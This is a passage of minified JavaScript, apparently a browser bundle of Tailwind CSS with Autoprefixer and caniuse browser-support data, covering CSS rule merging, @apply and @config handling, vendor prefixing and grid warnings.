Tn,xh,v2,bo,kh=A(()=>{l();Ze();Tn=J(De());$e();xh={id(r){return Tn.default.attribute({attribute:"id",operator:"=",value:r.value,quoteMark:'"'})}};v2=(0,Tn.default)(r=>r.map(e=>{let t=e.split(i=>i.type==="combinator"&&i.value===" ").pop();return b2(t)})),bo=new Map});function xo(){function r(e){let t=null;e.each(i=>{if(!k2.has(i.type)){t=null;return}if(t===null){t=i;return}let n=Sh[i.type];i.type==="atrule"&&i.name==="font-face"?t=i:n.every(s=>(i[s]??"").replace(/\s+/g," ")===(t[s]??"").replace(/\s+/g," "))?(i.nodes&&t.append(i.nodes),i.remove()):t=i}),e.each(i=>{i.type==="atrule"&&r(i)})}return e=>{r(e)}}var Sh,k2,Ch=A(()=>{l();Sh={atrule:["name","params"],rule:["selector"]},k2=new Set(Object.keys(Sh))});function ko(){return r=>{r.walkRules(e=>{let t=new Map,i=new Set([]),n=new Map;e.walkDecls(s=>{if(s.parent===e){if(t.has(s.prop)){if(t.get(s.prop).value===s.value){i.add(t.get(s.prop)),t.set(s.prop,s);return}n.has(s.prop)||n.set(s.prop,new Set),n.get(s.prop).add(t.get(s.prop)),n.get(s.prop).add(s)}t.set(s.prop,s)}});for(let s of i)s.remove();for(let s of n.values()){let a=new Map;for(let o of s){let u=C2(o.value);u!==null&&(a.has(u)||a.set(u,new Set),a.get(u).add(o))}for(let o of a.values()){let u=Array.from(o).slice(0,-1);for(let c of u)c.remove()}}})}}function C2(r){let e=/^-?\d*.?\d+([\w%]+)?$/g.exec(r);return e?e[1]??S2:null}var S2,_h=A(()=>{l();S2=Symbol("unitless-number")});function _2(r){if(!r.walkAtRules)return;let e=new Set;if(r.walkAtRules("apply",t=>{e.add(t.parent)}),e.size!==0)for(let t of e){let i=[],n=[];for(let s of t.nodes)s.type==="atrule"&&s.name==="apply"?(n.length>0&&(i.push(n),n=[]),i.push([s])):n.push(s);if(n.length>0&&i.push(n),i.length!==1){for(let s of[...i].reverse()){let a=t.clone({nodes:[]});a.append(s),t.after(a)}t.remove()}}}function Pn(){return r=>{_2(r)}}var Ah=A(()=>{l()});function Oh(r){return(e,t)=>{let i=!1;e.walkAtRules("tailwind",n=>{if(i)return!1;if(n.parent&&n.parent.type!=="root")return i=!0,n.warn(t,["Nested @tailwind rules were detected, but are not supported.","Consider using a prefix to scope Tailwind's classes: https://tailwindcss.com/docs/configuration#prefix","Alternatively, use the important selector strategy: https://tailwindcss.com/docs/configuration#selector-strategy"].join(` `)),!1}),e.walkRules(n=>{if(i)return!1;n.walkRules(s=>(i=!0,s.warn(t,["Nested CSS was detected, but CSS nesting has not been configured correctly.","Please enable a CSS nesting plugin *before* Tailwind in your configuration.","See how here: https://tailwindcss.com/docs/using-with-preprocessors#nesting"].join(` `)),!1))})}}var Eh=A(()=>{l()});function Dn(r){return function(e,t){let{tailwindDirectives:i,applyDirectives:n}=ro(e);Oh()(e,t),Pn()(e,t);let s=r({tailwindDirectives:i,applyDirectives:n,registerDependency(a){t.messages.push({plugin:"tailwindcss",parent:t.opts.from,...a})},createContext(a,o){return Ja(a,o,e)}})(e,t);if(s.tailwindConfig.separator==="-")throw new Error("The '-' character cannot be used as a custom separator in JIT mode due to parsing ambiguity. Please use another character like '_' instead.");Ef(s.tailwindConfig),no(s)(e,t),Pn()(e,t),oo(s)(e,t),yh(s)(e,t),bh(s)(e,t),vo(s)(e,t),xo(s)(e,t),ko(s)(e,t)}}var Th=A(()=>{l();Md();Gd();Kd();wh();vh();kh();Ch();_h();Ah();Eh();wn();$e()});function Ph(r,e){let t=null,i=null;return r.walkAtRules("config",n=>{if(i=n.source?.input.file??e.opts.from??null,i===null)throw n.error("The `@config` directive cannot be used without setting `from` in your PostCSS config.");if(t)throw n.error("Only one `@config` directive is allowed per file.");let s=n.params.match(/(['"])(.*?)\1/);if(!s)throw n.error("A path is required when using the `@config` directive.");let a=s[2];if(ie.isAbsolute(a))throw n.error("The `@config` directive cannot be used with an absolute path.");if(t=ie.resolve(ie.dirname(i),a),!ae.existsSync(t))throw n.error(`The config file at "${a}" does not exist. Make sure the path is correct and the file exists.`);n.remove()}),t||null}var Dh=A(()=>{l();Ge();lt()});var qh=v((E3,So)=>{l();Rd();Th();rt();Dh();So.exports=function(e){return{postcssPlugin:"tailwindcss",plugins:[Te.DEBUG&&function(t){return console.log(` `),console.time("JIT TOTAL"),t},function(t,i){e=Ph(t,i)??e;let n=to(e);if(t.type==="document"){let s=t.nodes.filter(a=>a.type==="root");for(let a of s)a.type==="root"&&Dn(n)(a,i);return}Dn(n)(t,i)},Te.DEBUG&&function(t){return console.timeEnd("JIT TOTAL"),console.log(` `),t}].filter(Boolean)}};So.exports.postcss=!0});var Co=v((T3,Ih)=>{l();Ih.exports=()=>["and_chr 92","and_uc 12.12","chrome 92","chrome 91","edge 91","firefox 89","ios_saf 14.5-14.7","ios_saf 14.0-14.4","safari 14.1","samsung 14.0"]});var qn={};Ce(qn,{agents:()=>A2,feature:()=>O2});function O2(){return{status:"cr",title:"CSS Feature Queries",stats:{ie:{"6":"n","7":"n","8":"n","9":"n","10":"n","11":"n","5.5":"n"},edge:{"12":"y","13":"y","14":"y","15":"y","16":"y","17":"y","18":"y","79":"y","80":"y","81":"y","83":"y","84":"y","85":"y","86":"y","87":"y","88":"y","89":"y","90":"y","91":"y","92":"y"},firefox:{"2":"n","3":"n","4":"n","5":"n","6":"n","7":"n","8":"n","9":"n","10":"n","11":"n","12":"n","13":"n","14":"n","15":"n","16":"n","17":"n","18":"n","19":"n","20":"n","21":"n","22":"y","23":"y","24":"y","25":"y","26":"y","27":"y","28":"y","29":"y","30":"y","31":"y","32":"y","33":"y","34":"y","35":"y","36":"y","37":"y","38":"y","39":"y","40":"y","41":"y","42":"y","43":"y","44":"y","45":"y","46":"y","47":"y","48":"y","49":"y","50":"y","51":"y","52":"y","53":"y","54":"y","55":"y","56":"y","57":"y","58":"y","59":"y","60":"y","61":"y","62":"y","63":"y","64":"y","65":"y","66":"y","67":"y","68":"y","69":"y","70":"y","71":"y","72":"y","73":"y","74":"y","75":"y","76":"y","77":"y","78":"y","79":"y","80":"y","81":"y","82":"y","83":"y","84":"y","85":"y","86":"y","87":"y","88":"y","89":"y","90":"y","91":"y","92":"y","93":"y","3.5":"n","3.6":"n"},chrome:{"4":"n","5":"n","6":"n","7":"n","8":"n","9":"n","10":"n","11":"n","12":"n","13":"n","14":"n","15":"n","16":"n","17":"n","18":"n","19":"n","20":"n","21":"n","22":"n","23":"n","24":"n","25":"n","26":"n","27":"n","28":"y","29":"y","30":"y","31":"y","32":"y","33":"y","34":"y","35":"y","36":"y","37":"y","38":"y","39":"y","40":"y","41":"y","42":"y","43":"y","44":"y","45":"y","46":"y","47":"y","48":"y","49":"y","50":"y","51":"y","52":"y","53":"y","54":"y","55":"y","56":"y","57":"y","58":"y","59":"y","60":"y","61":"y","62":"y","63":"y","64":"y","65":"y","66":"y","67":"y","68":"y","69":"y","70":"y","71":"y","72":"y","73":"y","74":"y","75":"y","76":"y","77":"y","78":"y","79":"y","80":"y","81":"y","83":"y","84":"y","85":"y","86":"y","87":"y","88":"y","89":"y","90":"y","91":"y","92":"y","93":"y","94":"y","95":"y"},safari:{"4":"n","5":"n","6":"n","7":"n","8":"n","9":"y","10":"y","11":"y","12":"y","13":"y","14":"y","15":"y","9.1":"y","10.1":"y","11.1":"y","12.1":"y","13.1":"y","14.1":"y",TP:"y","3.1":"n","3.2":"n","5.1":"n","6.1":"n","7.1":"n"},opera:{"9":"n","11":"n","12":"n","15":"y","16":"y","17":"y","18":"y","19":"y","20":"y","21":"y","22":"y","23":"y","24":"y","25":"y","26":"y","27":"y","28":"y","29":"y","30":"y","31":"y","32":"y","33":"y","34":"y","35":"y","36":"y","37":"y","38":"y","39":"y","40":"y","41":"y","42":"y","43":"y","44":"y","45":"y","46":"y","47":"y","48":"y","49":"y","50":"y","51":"y","52":"y","53":"y","54":"y","55":"y","56":"y","57":"y","58":"y","60":"y","62":"y","63":"y","64":"y","65":"y","66":"y","67":"y","68":"y","69":"y","70":"y","71":"y","72":"y","73":"y","74":"y","75":"y","76":"y","77":"y","78":"y","12.1":"y","9.5-9.6":"n","10.0-10.1":"n","10.5":"n","10.6":"n","11.1":"n","11.5":"n","11.6":"n"},ios_saf:{"8":"n","9.0-9.2":"y","9.3":"y","10.0-10.2":"y","10.3":"y","11.0-11.2":"y","11.3-11.4":"y","12.0-12.1":"y","12.2-12.4":"y","13.0-13.1":"y","13.2":"y","13.3":"y","13.4-13.7":"y","14.0-14.4":"y","14.5-14.7":"y","3.2":"n","4.0-4.1":"n","4.2-4.3":"n","5.0-5.1":"n","6.0-6.1":"n","7.0-7.1":"n","8.1-8.4":"n"},op_mini:{all:"y"},android:{"3":"n","4":"n","92":"y","4.4":"y","4.4.3-4.4.4":"y","2.1":"n","2.2":"n","2.3":"n","4.1":"n","4.2-4.3":"n"},bb:{"7":"n","10":"n"},op_mob:{"10":"n","11":"n","12":"n","64":"y","11.1":"n","11.5":"n","12.1":"n"},and_chr:{"92":"y"},and_ff:{"90":"y"},ie_mob:{"10":"n","11":"n"},and_uc:{"12.12":"y"},samsung:{"4":"y","5.0-5.4":"y","6.2-6.4":"y","7.2-7.4":"y","8.2":"y","9.2":"y","10.1":"y","11.1-11.2":"y","12.0":"y","13.0":"y","14.0":"y"},and_qq:{"10.4":"y"},baidu:{"7.12":"y"},kaios:{"2.5":"y"}}}}var A2,In=A(()=>{l();A2={ie:{prefix:"ms"},edge:{prefix:"webkit",prefix_exceptions:{"12":"ms","13":"ms","14":"ms","15":"ms","16":"ms","17":"ms","18":"ms"}},firefox:{prefix:"moz"},chrome:{prefix:"webkit"},safari:{prefix:"webkit"},opera:{prefix:"webkit",prefix_exceptions:{"9":"o","11":"o","12":"o","9.5-9.6":"o","10.0-10.1":"o","10.5":"o","10.6":"o","11.1":"o","11.5":"o","11.6":"o","12.1":"o"}},ios_saf:{prefix:"webkit"},op_mini:{prefix:"o"},android:{prefix:"webkit"},bb:{prefix:"webkit"},op_mob:{prefix:"o",prefix_exceptions:{"64":"webkit"}},and_chr:{prefix:"webkit"},and_ff:{prefix:"moz"},ie_mob:{prefix:"ms"},and_uc:{prefix:"webkit",prefix_exceptions:{"12.12":"webkit"}},samsung:{prefix:"webkit"},and_qq:{prefix:"webkit"},baidu:{prefix:"webkit"},kaios:{prefix:"moz"}}});var Rh=v(()=>{l()});var ne=v((q3,st)=>{l();var{list:_o}=me();st.exports.error=function(r){let e=new Error(r);throw e.autoprefixer=!0,e};st.exports.uniq=function(r){return[...new Set(r)]};st.exports.removeNote=function(r){return r.includes(" ")?r.split(" ")[0]:r};st.exports.escapeRegexp=function(r){return r.replace(/[$()*+-.?[\\\]^{|}]/g,"\\$&")};st.exports.regexp=function(r,e=!0){return e&&(r=this.escapeRegexp(r)),new RegExp(`(^|[\\s,(])(${r}($|[\\s(,]))`,"gi")};st.exports.editList=function(r,e){let t=_o.comma(r),i=e(t,[]);if(t===i)return r;let n=r.match(/,\s*/);return n=n?n[0]:", ",i.join(n)};st.exports.splitSelector=function(r){return _o.comma(r).map(e=>_o.space(e).map(t=>t.split(/(?=\.|#)/g)))}});var at=v((I3,Nh)=>{l();var E2=Co(),Mh=(In(),qn).agents,T2=ne(),Fh=class{static prefixes(){if(this.prefixesCache)return this.prefixesCache;this.prefixesCache=[];for(let e in Mh)this.prefixesCache.push(`-${Mh[e].prefix}-`);return this.prefixesCache=T2.uniq(this.prefixesCache).sort((e,t)=>t.length-e.length),this.prefixesCache}static withPrefix(e){return this.prefixesRegexp||(this.prefixesRegexp=new RegExp(this.prefixes().join("|"))),this.prefixesRegexp.test(e)}constructor(e,t,i,n){this.data=e,this.options=i||{},this.browserslistOpts=n||{},this.selected=this.parse(t)}parse(e){let t={};for(let i in this.browserslistOpts)t[i]=this.browserslistOpts[i];return t.path=this.options.from,E2(e,t)}prefix(e){let[t,i]=e.split(" "),n=this.data[t],s=n.prefix_exceptions&&n.prefix_exceptions[i];return s||(s=n.prefix),`-${s}-`}isSelected(e){return this.selected.includes(e)}};Nh.exports=Fh});var ei=v((R3,Lh)=>{l();Lh.exports={prefix(r){let e=r.match(/^(-\w+-)/);return e?e[0]:""},unprefixed(r){return r.replace(/^-\w+-/,"")}}});var Bt=v((M3,$h)=>{l();var P2=at(),Bh=ei(),D2=ne();function Ao(r,e){let t=new r.constructor;for(let i of Object.keys(r||{})){let n=r[i];i==="parent"&&typeof n=="object"?e&&(t[i]=e):i==="source"||i===null?t[i]=n:Array.isArray(n)?t[i]=n.map(s=>Ao(s,t)):i!=="_autoprefixerPrefix"&&i!=="_autoprefixerValues"&&i!=="proxyCache"&&(typeof n=="object"&&n!==null&&(n=Ao(n,t)),t[i]=n)}return t}var Rn=class{static hack(e){return this.hacks||(this.hacks={}),e.names.map(t=>(this.hacks[t]=e,this.hacks[t]))}static load(e,t,i){let n=this.hacks&&this.hacks[e];return n?new n(e,t,i):new this(e,t,i)}static clone(e,t){let i=Ao(e);for(let n in t)i[n]=t[n];return i}constructor(e,t,i){this.prefixes=t,this.name=e,this.all=i}parentPrefix(e){let t;return typeof e._autoprefixerPrefix!="undefined"?t=e._autoprefixerPrefix:e.type==="decl"&&e.prop[0]==="-"?t=Bh.prefix(e.prop):e.type==="root"?t=!1:e.type==="rule"&&e.selector.includes(":-")&&/:(-\w+-)/.test(e.selector)?t=e.selector.match(/:(-\w+-)/)[1]:e.type==="atrule"&&e.name[0]==="-"?t=Bh.prefix(e.name):t=this.parentPrefix(e.parent),P2.prefixes().includes(t)||(t=!1),e._autoprefixerPrefix=t,e._autoprefixerPrefix}process(e,t){if(!this.check(e))return;let i=this.parentPrefix(e),n=this.prefixes.filter(a=>!i||i===D2.removeNote(a)),s=[];for(let a of n)this.add(e,a,s.concat([a]),t)&&s.push(a);return s}clone(e,t){return Rn.clone(e,t)}};$h.exports=Rn});var I=v((F3,Vh)=>{l();var q2=Bt(),I2=at(),zh=ne(),jh=class extends q2{check(){return!0}prefixed(e,t){return t+e}normalize(e){return e}otherPrefixes(e,t){for(let i of I2.prefixes())if(i!==t&&e.includes(i))return!0;return!1}set(e,t){return e.prop=this.prefixed(e.prop,t),e}needCascade(e){return e._autoprefixerCascade||(e._autoprefixerCascade=this.all.options.cascade!==!1&&e.raw("before").includes(` `)),e._autoprefixerCascade}maxPrefixed(e,t){if(t._autoprefixerMax)return t._autoprefixerMax;let i=0;for(let n of e)n=zh.removeNote(n),n.length>i&&(i=n.length);return t._autoprefixerMax=i,t._autoprefixerMax}calcBefore(e,t,i=""){let s=this.maxPrefixed(e,t)-zh.removeNote(i).length,a=t.raw("before");return s>0&&(a+=Array(s).fill(" ").join("")),a}restoreBefore(e){let t=e.raw("before").split(` `),i=t[t.length-1];this.all.group(e).up(n=>{let s=n.raw("before").split(` `),a=s[s.length-1];a.length<i.length&&(i=a)}),t[t.length-1]=i,e.raws.before=t.join(` `)}insert(e,t,i){let n=this.set(this.clone(e),t);if(!(!n||e.parent.some(a=>a.prop===n.prop&&a.value===n.value)))return this.needCascade(e)&&(n.raws.before=this.calcBefore(i,e,t)),e.parent.insertBefore(e,n)}isAlready(e,t){let i=this.all.group(e).up(n=>n.prop===t);return i||(i=this.all.group(e).down(n=>n.prop===t)),i}add(e,t,i,n){let s=this.prefixed(e.prop,t);if(!(this.isAlready(e,s)||this.otherPrefixes(e.value,t)))return this.insert(e,t,i,n)}process(e,t){if(!this.needCascade(e)){super.process(e,t);return}let i=super.process(e,t);!i||!i.length||(this.restoreBefore(e),e.raws.before=this.calcBefore(i,e))}old(e,t){return[this.prefixed(e,t)]}};Vh.exports=jh});var Wh=v((N3,Uh)=>{l();Uh.exports=function r(e){return{mul:t=>new r(e*t),div:t=>new r(e/t),simplify:()=>new r(e),toString:()=>e.toString()}}});var Yh=v((L3,Hh)=>{l();var R2=Wh(),M2=Bt(),Oo=ne(),F2=/(min|max)-resolution\s*:\s*\d*\.?\d+(dppx|dpcm|dpi|x)/gi,N2=/(min|max)-resolution(\s*:\s*)(\d*\.?\d+)(dppx|dpcm|dpi|x)/i,Gh=class extends M2{prefixName(e,t){return e==="-moz-"?t+"--moz-device-pixel-ratio":e+t+"-device-pixel-ratio"}prefixQuery(e,t,i,n,s){return n=new R2(n),s==="dpi"?n=n.div(96):s==="dpcm"&&(n=n.mul(2.54).div(96)),n=n.simplify(),e==="-o-"&&(n=n.n+"/"+n.d),this.prefixName(e,t)+i+n}clean(e){if(!this.bad){this.bad=[];for(let t of this.prefixes)this.bad.push(this.prefixName(t,"min")),this.bad.push(this.prefixName(t,"max"))}e.params=Oo.editList(e.params,t=>t.filter(i=>this.bad.every(n=>!i.includes(n))))}process(e){let t=this.parentPrefix(e),i=t?[t]:this.prefixes;e.params=Oo.editList(e.params,(n,s)=>{for(let a of n){if(!a.includes("min-resolution")&&!a.includes("max-resolution")){s.push(a);continue}for(let o of i){let u=a.replace(F2,c=>{let f=c.match(N2);return this.prefixQuery(o,f[1],f[2],f[3],f[4])});s.push(u)}s.push(a)}return Oo.uniq(s)})}};Hh.exports=Gh});var Zh=v((B3,Kh)=>{l();var{list:L2}=me(),Qh=Kr(),B2=at(),Jh=ei(),Xh=class{constructor(e){this.props=["transition","transition-property"],this.prefixes=e}add(e,t){let i,n,s=this.prefixes.add[e.prop],a=this.ruleVendorPrefixes(e),o=a||s&&s.prefixes||[],u=this.parse(e.value),c=u.map(d=>this.findProp(d)),f=[];if(c.some(d=>d[0]==="-"))return;for(let d of u){if(n=this.findProp(d),n[0]==="-")continue;let y=this.prefixes.add[n];if(!(!y||!y.prefixes))for(i of y.prefixes){if(a&&!a.some(w=>i.includes(w)))continue;let k=this.prefixes.prefixed(n,i);k!=="-ms-transform"&&!c.includes(k)&&(this.disabled(n,i)||f.push(this.clone(n,k,d)))}}u=u.concat(f);let p=this.stringify(u),h=this.stringify(this.cleanFromUnprefixed(u,"-webkit-"));if(o.includes("-webkit-")&&this.cloneBefore(e,`-webkit-${e.prop}`,h),this.cloneBefore(e,e.prop,h),o.includes("-o-")){let d=this.stringify(this.cleanFromUnprefixed(u,"-o-"));this.cloneBefore(e,`-o-${e.prop}`,d)}for(i of o)if(i!=="-webkit-"&&i!=="-o-"){let d=this.stringify(this.cleanOtherPrefixes(u,i));this.cloneBefore(e,i+e.prop,d)}p!==e.value&&!this.already(e,e.prop,p)&&(this.checkForWarning(t,e),e.cloneBefore(),e.value=p)}findProp(e){let t=e[0].value;if(/^\d/.test(t)){for(let[i,n]of e.entries())if(i!==0&&n.type==="word")return n.value}return t}already(e,t,i){return e.parent.some(n=>n.prop===t&&n.value===i)}cloneBefore(e,t,i){this.already(e,t,i)||e.cloneBefore({prop:t,value:i})}checkForWarning(e,t){if(t.prop!=="transition-property")return;let i=!1,n=!1;t.parent.each(s=>{if(s.type!=="decl"||s.prop.indexOf("transition-")!==0)return;let a=L2.comma(s.value);if(s.prop==="transition-property"){a.forEach(o=>{let u=this.prefixes.add[o];u&&u.prefixes&&u.prefixes.length>0&&(i=!0)});return}return n=n||a.length>1,!1}),i&&n&&t.warn(e,"Replace transition-property to transition, because Autoprefixer could not support any cases of transition-property and other transition-*")}remove(e){let t=this.parse(e.value);t=t.filter(a=>{let o=this.prefixes.remove[this.findProp(a)];return!o||!o.remove});let i=this.stringify(t);if(e.value===i)return;if(t.length===0){e.remove();return}let n=e.parent.some(a=>a.prop===e.prop&&a.value===i),s=e.parent.some(a=>a!==e&&a.prop===e.prop&&a.value.length>i.length);if(n||s){e.remove();return}e.value=i}parse(e){let t=Qh(e),i=[],n=[];for(let s of t.nodes)n.push(s),s.type==="div"&&s.value===","&&(i.push(n),n=[]);return i.push(n),i.filter(s=>s.length>0)}stringify(e){if(e.length===0)return"";let t=[];for(let i of e)i[i.length-1].type!=="div"&&i.push(this.div(e)),t=t.concat(i);return t[0].type==="div"&&(t=t.slice(1)),t[t.length-1].type==="div"&&(t=t.slice(0,-2+1||void 0)),Qh.stringify({nodes:t})}clone(e,t,i){let n=[],s=!1;for(let a of i)!s&&a.type==="word"&&a.value===e?(n.push({type:"word",value:t}),s=!0):n.push(a);return n}div(e){for(let t of e)for(let i of t)if(i.type==="div"&&i.value===",")return i;return{type:"div",value:",",after:" "}}cleanOtherPrefixes(e,t){return e.filter(i=>{let n=Jh.prefix(this.findProp(i));return n===""||n===t})}cleanFromUnprefixed(e,t){let i=e.map(s=>this.findProp(s)).filter(s=>s.slice(0,t.length)===t).map(s=>this.prefixes.unprefixed(s)),n=[];for(let s of e){let a=this.findProp(s),o=Jh.prefix(a);!i.includes(a)&&(o===t||o==="")&&n.push(s)}return n}disabled(e,t){let i=["order","justify-content","align-self","align-content"];if(e.includes("flex")||i.includes(e)){if(this.prefixes.options.flexbox===!1)return!0;if(this.prefixes.options.flexbox==="no-2009")return t.includes("2009")}}ruleVendorPrefixes(e){let{parent:t}=e;if(t.type!=="rule")return!1;if(!t.selector.includes(":-"))return!1;let i=B2.prefixes().filter(n=>t.selector.includes(":"+n));return i.length>0?i:!1}};Kh.exports=Xh});var $t=v(($3,tm)=>{l();var $2=ne(),em=class{constructor(e,t,i,n){this.unprefixed=e,this.prefixed=t,this.string=i||t,this.regexp=n||$2.regexp(t)}check(e){return e.includes(this.string)?!!e.match(this.regexp):!1}};tm.exports=em});var ke=v((z3,im)=>{l();var z2=Bt(),j2=$t(),V2=ei(),U2=ne(),rm=class extends z2{static save(e,t){let i=t.prop,n=[];for(let s in t._autoprefixerValues){let a=t._autoprefixerValues[s];if(a===t.value)continue;let o,u=V2.prefix(i);if(u==="-pie-")continue;if(u===s){o=t.value=a,n.push(o);continue}let c=e.prefixed(i,s),f=t.parent;if(!f.every(y=>y.prop!==c)){n.push(o);continue}let p=a.replace(/\s+/," ");if(f.some(y=>y.prop===t.prop&&y.value.replace(/\s+/," ")===p)){n.push(o);continue}let d=this.clone(t,{value:a});o=t.parent.insertBefore(t,d),n.push(o)}return n}check(e){let t=e.value;return t.includes(this.name)?!!t.match(this.regexp()):!1}regexp(){return this.regexpCache||(this.regexpCache=U2.regexp(this.name))}replace(e,t){return e.replace(this.regexp(),`$1${t}$2`)}value(e){return e.raws.value&&e.raws.value.value===e.value?e.raws.value.raw:e.value}add(e,t){e._autoprefixerValues||(e._autoprefixerValues={});let i=e._autoprefixerValues[t]||this.value(e),n;do if(n=i,i=this.replace(i,t),i===!1)return;while(i!==n);e._autoprefixerValues[t]=i}old(e){return new j2(this.name,e+this.name)}};im.exports=rm});var ot=v((j3,nm)=>{l();nm.exports={}});var To=v((V3,om)=>{l();var sm=Kr(),W2=ke(),G2=ot().insertAreas,H2=/(^|[^-])linear-gradient\(\s*(top|left|right|bottom)/i,Y2=/(^|[^-])radial-gradient\(\s*\d+(\w*|%)\s+\d+(\w*|%)\s*,/i,Q2=/(!\s*)?autoprefixer:\s*ignore\s+next/i,J2=/(!\s*)?autoprefixer\s*grid:\s*(on|off|(no-)?autoplace)/i,X2=["width","height","min-width","max-width","min-height","max-height","inline-size","min-inline-size","max-inline-size","block-size","min-block-size","max-block-size"];function Eo(r){return r.parent.some(e=>e.prop==="grid-template"||e.prop==="grid-template-areas")}function K2(r){let e=r.parent.some(i=>i.prop==="grid-template-rows"),t=r.parent.some(i=>i.prop==="grid-template-columns");return e&&t}var am=class{constructor(e){this.prefixes=e}add(e,t){let i=this.prefixes.add["@resolution"],n=this.prefixes.add["@keyframes"],s=this.prefixes.add["@viewport"],a=this.prefixes.add["@supports"];e.walkAtRules(f=>{if(f.name==="keyframes"){if(!this.disabled(f,t))return n&&n.process(f)}else if(f.name==="viewport"){if(!this.disabled(f,t))return s&&s.process(f)}else if(f.name==="supports"){if(this.prefixes.options.supports!==!1&&!this.disabled(f,t))return a.process(f)}else if(f.name==="media"&&f.params.includes("-resolution")&&!this.disabled(f,t))return i&&i.process(f)}),e.walkRules(f=>{if(!this.disabled(f,t))return this.prefixes.add.selectors.map(p=>p.process(f,t))});function o(f){return f.parent.nodes.some(p=>{if(p.type!=="decl")return!1;let h=p.prop==="display"&&/(inline-)?grid/.test(p.value),d=p.prop.startsWith("grid-template"),y=/^grid-([A-z]+-)?gap/.test(p.prop);return h||d||y})}function u(f){return f.parent.some(p=>p.prop==="display"&&/(inline-)?flex/.test(p.value))}let c=this.gridStatus(e,t)&&this.prefixes.add["grid-area"]&&this.prefixes.add["grid-area"].prefixes;return e.walkDecls(f=>{if(this.disabledDecl(f,t))return;let p=f.parent,h=f.prop,d=f.value;if(h==="grid-row-span"){t.warn("grid-row-span is not part of final Grid Layout. Use grid-row.",{node:f});return}else if(h==="grid-column-span"){t.warn("grid-column-span is not part of final Grid Layout. Use grid-column.",{node:f});return}else if(h==="display"&&d==="box"){t.warn("You should write display: flex by final spec instead of display: box",{node:f});return}else if(h==="text-emphasis-position")(d==="under"||d==="over")&&t.warn("You should use 2 values for text-emphasis-position For example, `under left` instead of just `under`.",{node:f});else if(/^(align|justify|place)-(items|content)$/.test(h)&&u(f))(d==="start"||d==="end")&&t.warn(`${d} value has mixed support, consider using flex-${d} instead`,{node:f});else if(h==="text-decoration-skip"&&d==="ink")t.warn("Replace text-decoration-skip: ink to text-decoration-skip-ink: auto, because spec had been changed",{node:f});else{if(c&&this.gridStatus(f,t))if(f.value==="subgrid"&&t.warn("IE does not support subgrid",{node:f}),/^(align|justify|place)-items$/.test(h)&&o(f)){let k=h.replace("-items","-self");t.warn(`IE does not support ${h} on grid containers. Try using ${k} on child elements instead: ${f.parent.selector} > * { ${k}: ${f.value} }`,{node:f})}else if(/^(align|justify|place)-content$/.test(h)&&o(f))t.warn(`IE does not support ${f.prop} on grid containers`,{node:f});else if(h==="display"&&f.value==="contents"){t.warn("Please do not use display: contents; if you have grid setting enabled",{node:f});return}else if(f.prop==="grid-gap"){let k=this.gridStatus(f,t);k==="autoplace"&&!K2(f)&&!Eo(f)?t.warn("grid-gap only works if grid-template(-areas) is being used or both rows and columns have been declared and cells have not been manually placed inside the explicit grid",{node:f}):(k===!0||k==="no-autoplace")&&!Eo(f)&&t.warn("grid-gap only works if grid-template(-areas) is being used",{node:f})}else if(h==="grid-auto-columns"){t.warn("grid-auto-columns is not supported by IE",{node:f});return}else if(h==="grid-auto-rows"){t.warn("grid-auto-rows is not supported by IE",{node:f});return}else if(h==="grid-auto-flow"){let k=p.some(b=>b.prop==="grid-template-rows"),w=p.some(b=>b.prop==="grid-template-columns");Eo(f)?t.warn("grid-auto-flow is not supported by IE",{node:f}):d.includes("dense")?t.warn("grid-auto-flow: dense is not supported by IE",{node:f}):!k&&!w&&t.warn("grid-auto-flow works only if grid-template-rows and grid-template-columns are present in the same rule",{node:f});return}else if(d.includes("auto-fit")){t.warn("auto-fit value is not supported by IE",{node:f,word:"auto-fit"});return}else if(d.includes("auto-fill")){t.warn("auto-fill value is not supported by IE",{node:f,word:"auto-fill"});return}else h.startsWith("grid-template")&&d.includes("[")&&t.warn("Autoprefixer currently does not support line names. Try using grid-template-areas instead.",{node:f,word:"["});if(d.includes("radial-gradient"))if(Y2.test(f.value))t.warn("Gradient has outdated direction syntax. New syntax is like `closest-side at 0 0` instead of `0 0, closest-side`.",{node:f});else{let k=sm(d);for(let w of k.nodes)if(w.type==="function"&&w.value==="radial-gradient")for(let b of w.nodes)b.type==="word"&&(b.value==="cover"?t.warn("Gradient has outdated direction syntax. Replace `cover` to `farthest-corner`.",{node:f}):b.value==="contain"&&t.warn("Gradient has outdated direction syntax. Replace `contain` to `closest-side`.",{node:f}))}d.includes("linear-gradient")&&H2.test(d)&&t.warn("Gradient has outdated direction syntax. New syntax is like `to left` instead of `right`.",{node:f})}X2.includes(f.prop)&&(f.value.includes("-fill-available")||(f.value.includes("fill-available")?t.warn("Replace fill-available to stretch, because spec had been changed",{node:f}):f.value.includes("fill")&&sm(d).nodes.some(w=>w.type==="word"&&w.value==="fill")&&t.warn("Replace fill to stretch, because spec had been changed",{node:f})));let y;if(f.prop==="transition"||f.prop==="transition-property")return this.prefixes.transition.add(f,t);if(f.prop==="align-self"){if(this.displayType(f)!=="grid"&&this.prefixes.options.flexbox!==!1&&(y=this.prefixes.add["align-self"],y&&y.prefixes&&y.process(f)),this.gridStatus(f,t)!==!1&&(y=this.prefixes.add["grid-row-align"],y&&y.prefixes))return y.process(f,t)}else if(f.prop==="justify-self"){if(this.gridStatus(f,t)!==!1&&(y=this.prefixes.add["grid-column-align"],y&&y.prefixes))return y.process(f,t)}else if(f.prop==="place-self"){if(y=this.prefixes.add["place-self"],y&&y.prefixes&&this.gridStatus(f,t)!==!1)return y.process(f,t)}else if(y=this.prefixes.add[f.prop],y&&y.prefixes)return y.process(f,t)}),this.gridStatus(e,t)&&G2(e,this.disabled),e.walkDecls(f=>{if(this.disabledValue(f,t))return;let p=this.prefixes.unprefixed(f.prop),h=this.prefixes.values("add",p);if(Array.isArray(h))for(let d of h)d.process&&d.process(f,t);W2.save(this.prefixes,f)})}remove(e,t){let i=this.prefixes.remove["@resolution"];e.walkAtRules((n,s)=>{this.prefixes.remove[`@${n.name}`]?this.disabled(n,t)||n.parent.removeChild(s):n.name==="media"&&n.params.includes("-resolution")&&i&&i.clean(n)});for(let n of this.prefixes.remove.selectors)e.walkRules((s,a)=>{n.check(s)&&(this.disabled(s,t)||s.parent.removeChild(a))});return e.walkDecls((n,s)=>{if(this.disabled(n,t))return;let a=n.parent,o=this.prefixes.unprefixed(n.prop);if((n.prop==="transition"||n.prop==="transition-property")&&this.prefixes.transition.remove(n),this.prefixes.remove[n.prop]&&this.prefixes.remove[n.prop].remove){let 